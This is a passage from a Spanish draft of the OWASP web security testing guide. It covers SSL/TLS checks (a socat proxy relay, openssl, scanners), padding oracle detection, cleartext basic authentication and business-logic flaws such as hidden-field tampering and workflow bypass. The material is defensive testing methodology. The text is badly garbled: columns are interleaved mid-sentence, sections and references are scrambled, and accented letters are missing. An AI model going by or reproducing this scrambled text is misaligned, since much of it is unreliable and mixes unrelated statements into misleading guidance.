o certificados. Algunas aplicaciones soportan HTTP y HTTPS, ya sea por el uso o porque lo
usuarios pueden escribir ambas direcciones y acceder al sitio. A menudo los
usuarios entran en un sitio web de HTTPS por un enlace o una redireccin.
El siguiente es un escenario de cmo puede ocurrir el ataque: Pruebe mediante un proxy HTTP
Dentro de entornos corporativos, los evaluadores pueden ver los servicios que
no son directamente accesibles y pueden acceder a ellos a travs del proxy
HTTP mediante el mtodo CONNECT [36]. Ejemplo 10: Apache
La mayora de las herramientas no funcionan en este escenario porque tratan web Apache2, abra el archivo ssl.conf y busque las directivas
de conectarse al puerto tcp deseado para iniciar el protocolo de conexin SSLCipherSuite, SSLProtocol, SSLHonorCipherOrder,
SSL/TLS. Con la ayuda de software de reinstalacin como socat, [37] los SSLInsecureRenegotiation y SSLCompression.
probadores pueden activar esas herramientas para usarlas con los servicios
detrs de una proxy HTTP.
Ejemplo 8. Pruebe mediante un proxy HTTP Examine la validez de los certificados utilizados por la aplicacin a nivel de
cliente y servidor. El uso de los certificados es principalmente a nivel del
Para conectarse con destined.application.lan:443 mediante un proxy servidor web, sin embargo, puede haber rutas de comunicacin protegidas por
10.13.37.100:3128 ejecute socat como sigue: SSL (por ejemplo, hacia el DBMS). Los evaluadores deben revisar la
arquitectura de las aplicaciones para identificar todos los canales SSL
$ socat TCP-LISTEN:9999,reuseaddr,fork protegido.
PROXY:10.13.37.100:destined.application.lan:443,proxyport=3128
Herramientas
Entonces el evaluador puede apuntar todas las dems herramientas hacia
localhost:9999: [21][Qualys SSL Labs - SSL Server Test: ssllabs.com
$ openssl s_client -connect localhost:9999 [27] [Tenable - Nessus Vulnerability Scanner tenable.com: incluye algunos
plugins para probar diferentes vulnerabilidades relacionadas con SSL,
certificados y la presencia de autenticacin HTTP bsica sin SSL.
Todas las conexiones a localhost:9999 sern efectivamente retransmitidas por [32] [TestSSLServer: bolet.org]: un scanner java - y tambin un ejecutable
socat mediante un proxy hacia destined.application.lan:443. de windows - incluye pruebas para suites de cifrado, CRIME y BEAST
Compruebe la configuracin de los servidores web que ofrecen servicios de [29] [SSLScan | sourceforge.net [SSL Tests | pentesterscripting.com l_tests]:
https. Si la aplicacin web proporciona otros servicios SSL/TLS wrapped, un SSL Scanner y un wrapper para enumerar las vulnerabilidades SSL.
stos deben comprobarse tambin.
[31] [nmap | nmap.org]: puede ser utilizado primeramente para identificar
servicios basados en SSL y luego verificar el certificado y vulnerabilidades
SSL/TLS. Particularmente tiene algunos scripts para revisar [Certificate and
Ejemplo 9. Windows Server SSLv2 | nmap.org] y [SSL/TLS protocols/ciphers | nmap.org] soportados con
un rango interno.
Revise la configuracin en Microsoft Windows Server (2000, 2003 y 2008)
usando la clave de registro: [30] [curl | curl.haxx.se] y [openssl | openssl.org]: pueden ser usados para
consultas manuales de servicios SSL/TLS
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityPr
oviders\SCHANNEL\ [9] [Stunnel | stunnel.org]: una clase notable de clientes SSL es aquella de
los proxies SSL como stunnel que puede utilizarse para permitir que
herramientas activas de no SSL se comuniquen con los servicios SSL)
que tiene algunas subclaves como cifras, protocolos y [37] [socat | dest-unreach.org]: relay multipropsito
KeyExchangeAlgorithms.
[38] [testssl.sh | testssl.sh ] [14] [Qualys SSL Labs - SSL Server Rating Guide | ssllabs.com]
[4][ Gua de pruebas OWASP - Pruebe la configuracin de la infraestructura [16] [Qualys SSL Labs - BEAST | community.qualys.com]
y la red (OTG-CONFIG-001) | owasp.org]
[17] [Qualys SSL Labs - CRIME | community.qualys.com]
[6] [Gua de pruebas OWASP - Pruebe el HTTP Strict Transport Security
(OTG-CONFIG-007) | owasp.org] [7] [SurfJacking attack|resources.enablesecurity.com]
[2] [Gua de pruebas OWASP - Pruebas para el envo de informacin [8] [SSLStrip attack | thoughtcrime.org]
sensible por canales sin encriptar (OTG-CRYPST-003) | owasp.org]
[19] [PCI-DSS v2.0 | pcisecuritystandards.org]
[3] [Gua de pruebas OWASP - Pruebas del transporte de credenciales en un
canal encriptado (OTG-AUTHN-001) | owasp.org] [35] [Xiaoyun Wang, Hongbo Yu: How to Break MD5 and Other Hash
Functions| springer.com]
[22] [OWASP Cheat sheet - Transport Layer Protection |
owasp.org ]
Prueba del Padding Oracle (Relleno de Oracle)(OTG-CRYPST-002)
[23] [OWASP TOP 10 2013 - A6 Sensitive Data Exposure |owasp.org]
Resumen
[24] [OWASP TOP 10 2010 - A9 Insufficient Transport Layer Protection |
owasp.org] Un padding oracle es una funcin de la aplicacin que decodifica datos
encriptados que proporciona el cliente, por ejemplo, estado de sesin interna
[25] [OWASP ASVS 2009 - Verification 10 | code.google.com] almacenado en el cliente y fuga el estado de la validez del padding despus de
descifrado.
[26] [OWASP Application Security FAQ - Cryptography/SSL | owasp.org]
ietf.org]
[36] [RFC2817 - Upgrading to TLS Within HTTP/1.1|] Los bloques de cifrado encriptan los datos en bloques de tamaos
determinados. Los tamaos de bloque utilizados por los cifradores comunes
[34] [RFC6066 - Transport Layer Security (TLS) Extensions: Extension son de 8 y 16 bytes. Los datos cuyo tamao no coincide con un mltiplo del
Definitions | ietf.org] tamao del bloque de cifrado usado, tienen que rellenarse de una forma
especfica para que el decodificador pueda eliminar el padding. Un esquema
[11] [SSLv2 Protocol Multiple Weaknesses | osvdb.org] comn de padding utilizado es PKCS #7. Llena los bytes restantes con el valor
de la longitud del padding.
[12] [Mitre - TLS Renegotiation MiTM | cve.mitre.org]
Si el padding tiene la longitud de 5 bytes, el valor del byte 0 x 05 se repite Primero deben identificarse los puntos de entrada posibles para los padding
cinco veces despus del texto. oracles. Generalmente deben cumplirse las siguientes condiciones:
Una condicin de error est presente si el padding no coincide con la sintaxis [1] Los datos estn codificados. Son buenos candidatos los valores que
del esquema de padding usado. Un padding oracle est presente si una parecen aleatorios.
aplicacin filtra esta condicin de error de padding especfico para datos
cifrados proporcionados por el cliente. [2] Se utiliza un cifrado de bloque. La longitud del texto cifrado decodificado
(Base64 se utiliza a menudo); es un mltiplo de los tamaos de bloque de
cifrado comunes como 8 o 16 bytes. Los diferentes textos de cifrado (por
ejemplo, reunidos en diferentes sesiones o manipulando el estado de la sesin)
Esto puede ocurrir exponiendo las excepciones (e.g. BadPaddingException en comparten un divisor comn en la longitud.
Java) directamente, por diferencias sutiles en las respuestas enviadas al cliente
o por otro canal lateral como comportamiento de sincronizacin.
Ejemplo:
Ciertos modos de operacin criptogrfica permiten ataques de bit-flipping, Dg6W8OiWMIdVokIDH15T/A== resulta despues de decodificar Base64 en
donde voltear un bit en el texto de cifrado hace que el bit tambin se voltee en 0e 0e 96 f0 e8 96 30 87 55 a2 42 03 1f 5e 53 fc. Esto parece ser aleatorio y
el texto simple. con una longitud de 16 bytes.
Voltear un bit en el enesimo bloque en los datos encriptados de CBC causa Si se identifica un valor ingresado que es un buen candidato, debe verificarse
que el mismo bit en el (enesimo+1) bloque se voltee en los datos descifrados. el comportamiento de la aplicacin con la manipulacin del valor codificado
El enesimo bloque del texto cifrado que se decodifica es inhabilitado con esta en referencia al bit.
manipulacin.
Un ataque de padding oracle tambin permite a un atacante cifrar textos Si se sabe que la cadena cifrada es un solo bloque (el IV se almacena en el
arbitrarios simples sin el conocimiento de la clave usada y el cifrado. Si la servidor o la aplicacin est utilizando una mala prctica de codificado de IV),
aplicacin asume como correcta la integridad y autenticidad de los datos varios cambios de bits deben realizarse en turnos. Un enfoque alternativo sera
descifrados, un atacante podra ser capaz de manipular el estado de sesin anteponer un bloque al azar y cambiar bits para hacer que el ltimo byte del
interna y posiblemente obtener mayores privilegios. bloque aadido tome todos los valores posibles (0 a 255).
Cmo probar Las pruebas y el valor base deben causar al menos tres diferentes estados
durante y despus del descifrado:
Pruebas de Caja Negra
Se consigue descifrar el texto cifrado, los datos resultantes son confusos y [1] La integridad del texto cifrado debe ser verificada por un mecanismo
causan algunas excepciones y errores de manejo en la lgica de la aplicacin. seguro, como HMAC o con formas de autenticar la operacin de cifrado como
GCM o CCM.
Compare las respuestas con cuidado. Busque sobre todo las excepciones y los
mensajes que indican que algo est mal con el padding. Si aparecen estos
mensajes, la aplicacin contiene un oracle padding. Herramientas
PadBuster: github.com
Si los tres estados diferentes descritos anteriormente son implcitamente python-paddingoracle: github.com
observables (mensajes de error diferentes, tiempos del lado de los canales),
hay una alta probabilidad de que en este momento hay un oracle padding Poracle: github.com
presente. Trate de realizar el ataque de oracle padding para confirmarlo.
Padding Oracle Exploitation Tool (POET): netifera.com
Ejemplos:
Ejemplos
Libros Blancos
En Java, una excepcin javax.crypto.BadPaddingException se lanza en este
caso. Wikipedia - Padding oracle attack: en.wikipedia.org
Verifique que todos los lugares donde estn codificados los datos del cliente, Como regla general, si los datos deben protegerse cuando se almacenan, estos
que slo deben ser conocido por el servidor, se encuentran decodificados. datos tambin deben protegerse durante la transmisin. Algunos ejemplos de
Dicho cdigo debe cumplir las siguientes condiciones: datos sensibles son:
Informacin utilizada en la autenticacin (por ejemplo credenciales, PINs, <body bgcolor=white> <h1>401 Authorization Required</h1> Invalid login
identificadores de sesin, Fichas, Cookies) credentials! </body></html>
Ejemplo 1: Autenticacin bsica en HTTP La Cookie del identificador de sesin debe ser transmitida en canales
protegidos. Si la cookie no tiene la bandera de seguridad [6] se permite a la
Un ejemplo tpico es el uso de una autenticacin bsica en HTTP. Cuando se aplicacin transmitirla sin encriptar.
utiliza una autenticacin bsica, se codifican las credenciales de usuario en
lugar de encriptarlas y se envan como encabezados HTTP. En el ejemplo Note a continuacin que la programacin de la cookie se realiza sin la bandera
siguiente, el evaluador usa curl [5] para evaluar este tema. Note cmo la de seguridad, y todo el proceso de registro se realiza en HTTP y no HTTPS..
aplicacin utiliza la autenticacin bsica y HTTP en lugar de HTTPS
Accept-Language: en-US,en;q=0.5
Cookie: JSESSIONID=BD99F321233AF69593EDF52B123B5BDA;
X-XSS-Protection: 1; mode=block
Content-Length: 0 [5] curl puede ser usado para revisar cmo buscar pginas manualmente
http://example.com/private
[2] OWASP TOP 10 2010 - Insufficient Transport Layer Protection
Host: example.com
El mayor enfoque es en aplicaciones web. Hay un debate dentro de la El primer ejemplo comienza con una manipulacin simple del parmetro,
comunidad acerca de si estos problemas representan particularmente nuevos mientras que el segundo es un ejemplo del mundo real de un proceso que
conceptos, o si son variantes de principios bien conocidos. conduce a subvertir completamente la aplicacin.
La prueba de fallas en la lgica del negocio es similar a los tipos de prueba Ejemplo 1:
utilizados por evaluadores funcionales que se enfocan en la prueba de estado
lgico o finito. Estos tipos de pruebas requieren que los profesionales de la Supongamos que un sitio de comercio electrnico permite a los usuarios
seguridad piensen un poco diferente, desarrollen casos de abuso y mal uso y seleccionar elementos que desean comprar, ver una pgina de resumen y
usen muchas de las tcnicas de prueba adoptadas por los evaluadores luego licitar la venta. Qu pasara si un atacante vuelve a la pgina de
funcionales. resumen, manteniendo la validez de la sesin e inyecta un menor costo en
un elemento, completa la transaccin y luego sale?
Ejemplo 2: Esto es importante porque, sin esta proteccin, los atacantes pueden ser
capaces de "engaar/trucar" la aplicacin para que les permita entrar en
Retener/bloquear recursos y evitar que otros puedan comprar estos artculos secciones de la aplicacin del sistema a las cules no deberian tener acceso
en lnea puede resultar en que los atacantes compren artculos a bajo precio. en ese momento en particular, eludiendo as el flujo de trabajo de la lgica
La solucin a este problema es implementar tiempos de cierre de sesin y de negocio de la aplicacin.
mecanismos para asegurar que slo el precio correcto puede ser cargado.
Las explotaciones de la lgica del negocio pueden separarse en las En las pruebas del tiempo de procesamiento, verificamos que la aplicacin
siguientes categoras: no permita a los usuarios manipular un sistema o adivinar su
comportamiento basado en los tiempos de procesamiento de entrada o
salida.
Esto es importante porque, sin esta proteccin, los atacantes pueden insertar 4.12.5 Prueba del nmero de veces que limita el uso de una funcin (OTG-
datos/informacin "no validada" en la aplicacin/sistema en "puntos de BUSLOGIC-005)
entrega" donde el sistema/aplicacin considera que los datos/informacin es
"buena" y ha sido vlida desde que los puntos de"entrada" realizaron la Al probar el lmite de una funcin, verifique que la aplicacin no permita a
validacin de datos como parte del flujo de trabajo de la lgica de negocio. los usuarios utilizar partes de la aplicacin o sus funciones, ms veces de
las requeridas por el flujo de la lgica de trabajo.
Al evadir el flujo de trabajo y burlar las pruebas de secuencia correcta, Aunque existen herramientas para probar y verificar que los procesos del
verificamos que la aplicacin no permite a los usuarios realizar acciones negocio funcionan correctamente en situaciones vlidas, estas herramientas
fuera del flujo de proceso de negocios "aprobado/requerido". son incapaces de detectar vulnerabilidades lgicas. Por ejemplo, las
herramientas no tienen posibilidad de detectar si un usuario es capaz de
evitar el flujo de proceso del negocio a travs de la edicin de parmetros,
prediccin de nombres de recursos o escalada de privilegios para acceder a
Esto es importante ya que, sin esta proteccin, los atacantes pueden ser recursos restringidos ni tienen ningn mecanismo para ayudar a los
capaces de evadir o burlar los flujos de trabajo y "controles" que les permite evaluadores humanos para que sospechen de esta situacin.
entrar prematuramente o saltarse las secciones de la aplicacin "requerida s",
y potencialmente permite que la accin/transaccin termine sin completar el
proceso de negocio, dejando al sistema con informacin de seguimiento
incompleta en el backend. Los siguientes son algunos tipos comunes de herramientas que pueden ser
tiles en la identificacin de temas relacionados con la lgica del negocio.
En la prueba de carga de tipos de archivos inesperados, verificamos que la Paros Proxy: parosproxy.org
aplicacin no permita a los usuarios cargar tipos de archivos que el sistema
no espera o requiera de acuerdo a la lgica del negocio.
4.12.9 Prueba de la posibilidad de carga de archivos maliciosos (OTG- TamperIE (for Internet Explorer): bayden.com
BUSLOGIC-009)
Libros Blancos
Con Session Manager usted puede grabar rpidamente el estado de su Business Logic Vulnerabilities in Web Applications:
navegador actual y recargarlo cuando sea necesario. Puede gestionar accorute.googlecode.com
mltiples sesiones, renombrarlas o removerlas de la biblioteca de sesin.
Swap My Cookies es un administrador de sesin. Gestiona sus cookies, Finite State testing of Graphical User Interfaces, Fevzi Belli:
permitindole conectarse en cualquier sitio web con varias cuentas slideshare.net
diferentes.
Security Issues in Online Games, Jianxin Jeff Yan and Hyun-Jin Choi:
homepages.cs.ncl.ac.uk
HTTP Response Browser: chrome.google.com/
Securing Virtual Worlds Against Real Attack, Dr. Igor Muttik, McAfee:
info-point-security.com
Prevent application logic attacks with sound app security practices:
searchappsecurity.techtarget.com
Jeremiah Grossman Founder and CTO, WhiteHat Security: Real-Life Example of a Business Logic Defect: infosecisland.com
whitehatsec.com
Libros
Relacionados a OWASP The Decision Model: A Business Logic Framework Linking Business and
Technology, By Barbara Von Halle, Larry Goldberg, Published by CRC
Business Logic Attacks Bots and Bats, Eldad Chai: blog.imperva.com Press, ISBN1420082817 (2010)
OWASP Detail Misuse Cases: owasp.org Prueba de la validacin de datos de la lgica del negocio (OTG-
BUSLOGIC-001)
Resumen
How to Prevent Business Flaws Vulnerabilities in Web Applications,
Marco Morana: slideshare.net La aplicacin debe asegurarse que pueden introducirse lgicamente datos
vlidos en la seccin de acceso directo, as como directamente en el lado
del servidor de una aplicacin del sistema. Slo verificar los datos
localmente puede dejar a las aplicaciones vulnerables a inyecciones de
Sitios web tiles servidor a travs de proxies o en los intercambios con otros sistemas.
Las vulnerabilidades relacionadas con la validacin de datos son nicas, ya crdito en mltiples lugares muy rpidamente, es posible superar mi lmite
que son para una aplicacin especfica y diferente a las vulnerabilidades si los sistemas estn basando sus decisiones en los datos de anoche.
relacionadas con la manipulacin de solicitudes en las que estn ms
preocupadas de la lgica de los datos en lugar de simplemente romper el
flujo de trabajo de la lgica del negocio.
Cmo probar
Ejemplo 1
Mtodo de prueba especfica:
Supongamos que administra un sitio de comercio electrnico de multiples
niveles. El usuario escoge la alfombra, ingresa el tamao, realiza el pago y
la aplicacin de acceso directo ha verificado que toda la informacin
ingresada es correcta y vlida para el contacto, tamao, fabricacin y color Realizar pruebas GUI de validacin funcional en la seccin pblica de la
de la alfombra. Sin embargo, la lgica de negocio tiene, en el fondo, dos aplicacin para asegurarse que se aceptan nicamente los valores "vlidos".
rutas.
Pruebas del esquema de gestin de sesin (OTG-SESS-001) aquellas que permiten la depuracin y presentacin de pantallas especiales o
ventanas que son muy tiles durante el desarrollo, pero pueden filtrar
informacin o eludir la lgica del negocio.
Las aplicaciones deben tener controles lgicos para evitar que el sistema
acepte solicitudes falsificadas que pueden permitir a los atacantes la
El Zed Attack Proxy (ZAP) es una herramienta de pruebas de penetracin posibilidad de explotar la lgica del negocio, proceso o flujo de la
integrada, fcil de usar para encontrar vulnerabilidades en aplicaciones web. Est aplicacin. La falsificacin de solicitudes no es nueva; el atacante utiliza un
diseada para ser utilizada por personas con amplia experiencia en seguridad y, proxy de intercepcin para enviar solicitudes POST/GET de HTTP a la
como tal, es ideal para desarrolladores y evaluadores funcionales que son nuevos en aplicacin.
el uso de pruebas de penetracin. ZAP ofrece escneres automatizados, as
como un conjunto de herramientas que permiten encontrar las
vulnerabilidades de seguridad manualmente.
Mediante la falsificacin de solicitudes, los atacantes pueden evadir la
lgica del negocio o proceso al encontrar, predecir y manipular los
parmetros para hacer que la aplicacin piense que un proceso o tarea ha
Referencias ocurrido o no.
books.google.com Adems, las solicitudes falsificadas pueden permitir la subversin del flujo
del programa o de la lgica del negocio invocando funciones "ocultas" o
funcionalidad como la depuracin, inicialmente utilizada por los
desarrolladores y evaluadores, denominada a veces "Huevo de Pascua". Un
Remediacin "huevo de Pascua" (Easter egg) es una broma interna intencional, mensaje
oculto o una funcin en un trabajo como un programa de computadora,
La aplicacin/sistema debe garantizar que slo datos "lgicamente vlidos" pelcula, libro o crucigrama.
se acepten en todas las entradas y puntos de transferencia de la aplicacin o
sistema, y que los datos no se consideren confiables una vez que han sido
ingresados en el sistema.
Segn el diseador de juegos Warren Robinett, el trmino fue acuado en
Atari por el personal que fue alertado de la presencia de un mensaje secreto
que haba sido escondido por Robinett en su juego ya ampliamente
Prueba de la habilidad de manipular consultas (OTG-BUSLOGIC-002) distribuido, Adventure. Se puso este nombre para evocar la idea de una
cacera tradicional de "huevos de Pascua.
Resumen
http://en.wikipedia.org/wiki/Easter_egg_(media)
Falsificar las solicitudes es un mtodo que utilizan los atacantes para eludir
la seccin de acceso pblico de una aplicacin GUI, para presentar
directamente la informacin para que se procese en la seccin de acceso
restringido. El objetivo del atacante es enviar las solicitudes POST/GET de Ejemplos
HTTP a travs de un proxy de intercepcin con los valores de datos no
soportados, protegidos en contra o esperados por la lgica del negocio de la Ejemplo 1
aplicacin.
Supongamos que un teatro en su sitio de comercio electrnico permite a los
usuarios seleccionar su boleto, aplicar un descuento de tercera edad del 10%
una vez en toda la venta, ver el subtotal y licitar la venta. Si un atacante es
Algunos ejemplos de solicitudes falsificadas que explotan parmetros que capaz de ver a travs de un proxy que la aplicacin cuenta con un campo
pueden adivinarse o predecirse o que exponen funciones "ocultas" como oculto (de 1 o 0) usado por la lgica del negocio para determinar si ha
habido un descuento o no, el atacante podra presentar el 1 o el valor de Si se encuentra que algn valor es adivinable, este valor puede ser
"descuento no ha sido tomado" varias veces para aprovechar el descuento modificado y se puede obtener visibilidad inesperada.
varias veces.
Mtodo de prueba especfica 2:.
Ejemplo 2
Usando un proxy de intercepcin, observe la solicitud POST/GET de
Supongamos que un juego de video en lnea paga fichas por puntos HTTP en busca de indicios de funciones ocultas como la de depuracin, que
anotados por encontrar tesoros piratas, piratas y por cada nivel completado. puede ser encendida o activada.
Estas fichas pueden intercambiarse posteriormente por premios.
Asimismo, si un atacante es capaz de ver a travs de un proxy que la Pruebas para determinar la Exposicin de las Variables de Sesin (OTG -
aplicacin tiene un campo oculto utilizado durante el desarrollo y pruebas SESS-004)
para habilitar un registro que indica dnde se encuentran otros jugadores en
lnea o los tesoros escondidos en relacin con el atacante, entonces podran
ir rpidamente a estos lugares y anotar puntos.
Pruebas de un CSRF (CSRF) (OTG-SESS-005)
Cmo probar
Pruebas de enumeracin de cuentas y adivinanza de cuentas de usuario
Mtodo de prueba genrica (OTG-IDENT-004)
Una vez encontrados, intente insertar datos lgicamente vlidos en el ZAP es una herramienta de pruebas de penetracin integrada, fcil de usar para
sistema o aplicacin, lo que permite al usuario ir a travs de la encontrar vulnerabilidades en aplicaciones web. Est diseada para ser utilizada por
aplicacin/sistema contra el flujo normal de la lgica del negocio. personas con amplia experiencia en seguridad y, como tal, es ideal para
desarrolladores y evaluadores funcionales que son nuevos en el uso de pruebas de
penetracin. ZAP ofrece escneres automatizados, as como un conjunto de
herramientas que permiten encontrar las vulnerabilidades de seguridad
Mtodo de prueba especfica 1: manualmente.
fragilesecurity.blogspot.com
Remediacin
un atacante puede usar un proxy interceptor para agregar o actualizar datos Mtodo de prueba especfica 2
a los que no debera tener acceso y podra destruir la integridad de los datos
indicando que el ciudadano no estaba casado, pero suministrando los datos Usando un proxy, capture cualquier trfico HTTP en busca de un lugar
para el nombre de un cnyuge. Este tipo de insercin o actualizacin de para insertar informacin en las reas de la aplicacin que no son editables.
datos no verificados destruye la integridad de los datos y podra haberse
evitado si se segua la lgica del proceso del negocio.
Si los encuentra, vea cmo este campo se compara con la aplicacin GUI e
interrogue a este valor mediante el proxy, presentando diferentes valores,
Ejemplo 4 tratando de eludir los procesos del negocio y manipulando los valores a los
que no debera tener acceso..
Muchos sistemas incluyen registros para el propsito de auditora y
solucin de problemas. Pero, qu tan buena/vlida es la informacin de
estos registros? Pueden ser manipulados por los atacantes intencional o
accidentalmente, destruyendo su integridad? Mtodo de prueba especfica 3
Para cada componente identificado, determine qu tipo de Todos los casos de prueba de validacin de ingresos.
datos/informacin son lgicamente aceptables y de qu tipo de
aplicacin/sistema debe protegerse. Tome en cuenta tambin quin, segn la
lgica del negocio, tiene autorizacin para insertar, actualizar y eliminar
datos/informacin y en qu componente. Herramientas
Usando una proxy capture cualquier trfico de HTTP en bsqueda de ZAP es una herramienta de pruebas de penetracin integrada, fcil de usar para
campos ocultos. encontrar vulnerabilidades en aplicaciones web. Est diseada para ser utilizada por
personas con amplia experiencia en seguridad y, como tal, es ideal para
desarrolladores y evaluadores funcionales que son nuevos en el uso de pruebas de
penetracin. ZAP ofrece escneres automatizados, as como un conjunto de
Si encuentra un campo oculto, vea cmo este campo se compara con la herramientas que permiten encontrar las vulnerabilidades de seguridad
aplicacin GUI e interrogue a este valor mediante el proxy, presentando manualmente..
diferentes valores, tratando de eludir los procesos del negocio y
manipulando los valores a los que no debera tener acceso.
Referencias
Implementing Referential Integrity and Shared Business Logic in a RDB: acuerdo a eso, cambiar el comportamiento basado en esa expectativa y
agiledata.org "jugarle al sistema".
Ejemplo 1
Use referential integrity to enforce basic business rules in Oracle: Los videos de juegos de azar/tragamonedas pueden tardar ms tiempo en
techrepublic.com procesar una transaccin antes de realizar un desembolso fuerte. Esto
permitira a los jugadores astutos apostar cantidades mnimas hasta que vean
el tiempo de proceso largo que los hara apostar el mximo.
Los atacantes pueden ser capaces de eludir la lgica del negocio y ejecutar
Pruebas del tiempo de cierre de sesin (OTG-SESS-007) una funcin ms veces que las "permitidas" al explotar la aplicacin para
obtener beneficios personales.
Referencias
Ejemplo
Ninguna
Supongamos que un sitio de comercio electrnico permite a los usuarios
aprovechar alguno de los muchos descuentos en su compra total y luego
proceder a salir y licitar. Qu sucede si el atacante navega a la pgina de
Remediacin descuentos despus de tomar y aplicar el descuento "admisible"? Pueden
tomar ventaja de otro descuento? Pueden tomar ventaja del mismo
Desarrolle aplicaciones con el tiempo de procesamiento en mente. Si los descuento varias veces?
atacantes pueden obtener algn tipo de ventaja al conocer los diferentes
tiempos de procesamiento y los resultados, agregue pasos adicionales para
que, sin importar los resultados, se proporcione el mismo marco de tiempo
de procesamiento. Cmo probar
Por ejemplo: Un sitio de comercio electrnico slo puede permitir que los Pruebas para determinar un mecanismo de bloqueo dbil (OTG-AUTHN-
usuarios apliquen un descuento una vez por cada transaccin, o algunas 003)
Ejemplos
Remediacin
Ejemplo 1
La aplicacin debe tener controles para asegurar que se sigue la lgica del
negocio y si una funcin/accin slo puede ejecutarse un cierto nmero de Muchos de nosotros recibimos algn tipo de "puntos de club/fidelidad" por
veces y, cuando se alcanza el lmite, el usuario no puede ejecutar la funcin. las compras en supermercados y gasolineras. Supongamos que un usuario
pudo iniciar una transaccin vinculada a su cuenta y luego, despus de
agregar puntos a su cuenta de club/lealtad, cancela la transaccin o quita
elementos de su "canasta" y licita.
Para evitar que los usuarios usen una funcin ms veces de las adecuadas, la
aplicacin puede utilizar mecanismos tales como cookies para contabilizar o
mediante sesiones, que no permitan a los usuarios acceder a ejecutar la
funcin ms veces. En este caso, el sistema no debe aplicar puntos/crditos a la cuenta hasta que
se licita o los puntos/crditos deben "deshacerse" si el incremento de
puntos/crdito no coinciden con la oferta final. Con esto en mente, un
atacante puede iniciar transacciones y cancelarlas, para aumentar su nivel de
Pruebas para la evasin de los flujos de trabajo (OTG-BUSLOGIC-006) puntos sin realmente comprar algo.
Resumen
La lgica del negocio de la aplicacin debe pedir al usuario que complete los Revise la documentacin del proyecto y utilice pruebas exploratorias en
pasos especficos en el orden correcto/especfico y si el flujo de trabajo se busca de mtodos para saltar o ir a otros pasos en el proceso de la aplicacin,
termina sin completarse correctamente, todas las acciones que gener se en un orden diferente del flujo de la lgica del negocio diseado/esperado.
"deshacen" o cancelan. Las vulnerabilidades relacionadas con la evasin de
los flujos de trabajo o el saltarse el flujo de trabajo de la lgica del negocio
correcto son nicas ya que son muy especficas para cada sistema/aplicacin
Para cada mtodo, desarrolle un caso de mal uso y trate de evitar o realizar Prueba de comprobacin de integridad (OTG-BUSLOGIC-003)
una accin que sea "inaceptable" por el flujo de trabajo de la lgica del
negocio.
Inicie una transaccin dentro de la aplicacin hasta pasar los puntos que Prueba del nmero de veces que limita el uso de una funcin (OTG-
disparan los crditos/puntos hacia la cuenta del usuario. BUSLOGIC-005)
Cancele la transaccin o reduzca la oferta final de manera que los valores Prueba de las defensas contra el mal uso de la aplicacin (OTG-
del punto deban ser disminuidos y compruebe el sistema de puntos/crdito BUSLOGIC-007)
para asegurarse que se registraron los puntos/crditos adecuados.
Luego intente aadir, editar y eliminar datos que dejaran a los datos
existentes en un estado invlido o con valores invlidos para asegurar que al
usuario no le est permitido guardar la informacin incorrecta. Algunos datos Referencias
o informacin "no vlidos" pueden ser palabras especficas (palabras soeces)
o temas especficos (por ejemplo, cuestiones polticas). OWASP Detail Misuse Cases: owasp.org
infosecisland.com
Remediacin
Prueba de la validacin de datos de la lgica del negocio (OTG-
BUSLOGIC-001) La aplicacin debe ser autoconsciente y tener comprobaciones localizadas
que aseguren que los usuarios completen cada paso del proceso del flujo de
trabajo en el orden correcto y evitar que los atacantes eludan/salten/o repitan
los pasos/procesos del flujo de trabajo. Probar las vulnerabilidades de flujo
Prueba de la habilidad de manipular consultas (OTG-BUSLOGIC-002) de trabajo implica el desarrollar casos de abuso/mal uso de la lgica del
negocio con el objetivo de completar el proceso de negocio al no completar
los pasos correctos en el orden correcto.
Documento Pre-release cortesa de Fernando Vela para drangonjar.org
289
Guia de pruebas 4.0 "Borrador"
Prueba de las defensas contra el mal uso de la aplicacin (OTG- Si la aplicacin no responde de ninguna manera y el atacante puede
BUSLOGIC-007) continuar abusando de la funcionalidad y envia contenido claramente
malicioso hacia la aplicacin, la aplicacin ha fallado este caso de prueba. En
Resumen la prctica, es poco probable que las acciones discretas del ejemplo anterior
sucedan as. Es mucho ms probable que una herramienta de fuzzing se
El mal uso y uso no vlido de una funcionalidad vlida pueden identificar utilice para identificar las debilidades de cada parmetro a la vez. Esto es lo
ataques que trata de enumerar la aplicacin web, identificar las debilidades y que un evaluador de seguridad habr llevado a cabo, tambin.
explotar vulnerabilidades. Deberan realizarse pruebas para determinar si
existen mecanismos defensivos a nivel de la aplicacin para proteger la
aplicacin.
Cmo probar
[3] Altera una solicitud GET convirtindola en POST. Rechazar los ingresos que contienen determinados caracteres.
[4] Agrega un parmetro extra. Bloquear una cuenta temporalmente despus de una serie de fallos de
autenticacin.
[5] Duplica el parmetro de la pareja nombre/valor.
Activa medidas de autenticacin adicionales para las funciones restantes. Parmetros adicionales de nombres, duplicados o faltantes
Agrega retrasos de tiempo en cada ciclo de peticin-respuesta. Validacin de ingresos mltiples o fallas de verificacin de la lgica del
negocio con valores que no pueden ser el resultado de errores o faltas
Comienza a grabar datos adicionales sobre las interacciones del usuario ortogrficas del usuario
(por ejemplo encabezados de solicitudes HTTP desinfectados, cuerpos y
cuerpos de respuesta). Recepcin de datos estructurados (por ejemplo, JSON, XML) de un
formato no vlido
Utilizar la aplicacin ms rpido de lo que debera ser posible sin IR 7684 Common Misuse Scoring System (CMSS), NIST:
herramientas de automatizacin
csrc.nist.gov
Cambio en la geo-localizacin continental de un usuario
Todos los otros casos son relevantes. El riesgo en permitir a los usuarios cargar archivos es que los atacantes
pueden enviar un tipo de archivo inesperado que podra ejecutarse y tener un
impacto adverso sobre la aplicacin o sistema a travs de ataques que pueden
desfigurar el sitio web, ejecutar comandos remotos, navegar por los archivos
Herramientas del sistema, navegar en los recursos locales, atacar a otros servidores o
explotar las vulnerabilidades locales, slo para nombrar unos pocos.
El probador puede usar muchas de las herramientas utilizadas para los otros
casos de prueba.
similar puede leerse, pero los datos extrados pueden moverse a lugares En la aplicacin, navegue hasta la presentacin del archivo o el mecanismo
incorrectos. de carga.
La aplicacin puede estar esperando que solamente se carguen ciertos tipos Enve los archivos "no aprobados"para cargar y compruebe que se previene
de archivos para su procesamiento, tales como archivos .CSV o txt. La la carga correctamente.
aplicacin no puede validar el archivo subido por su extensin (para
validacin de archivos de baja seguridad) o contenido (para validacin de
archivos de alta seguridad). Esto puede dar lugar a resultados inesperados
por parte del sistema o la base de datos en el sistema/aplicacin o dar a los Casos de prueba relacionados
atacantes mtodos adicionales para explotar el sistema/aplicacin.
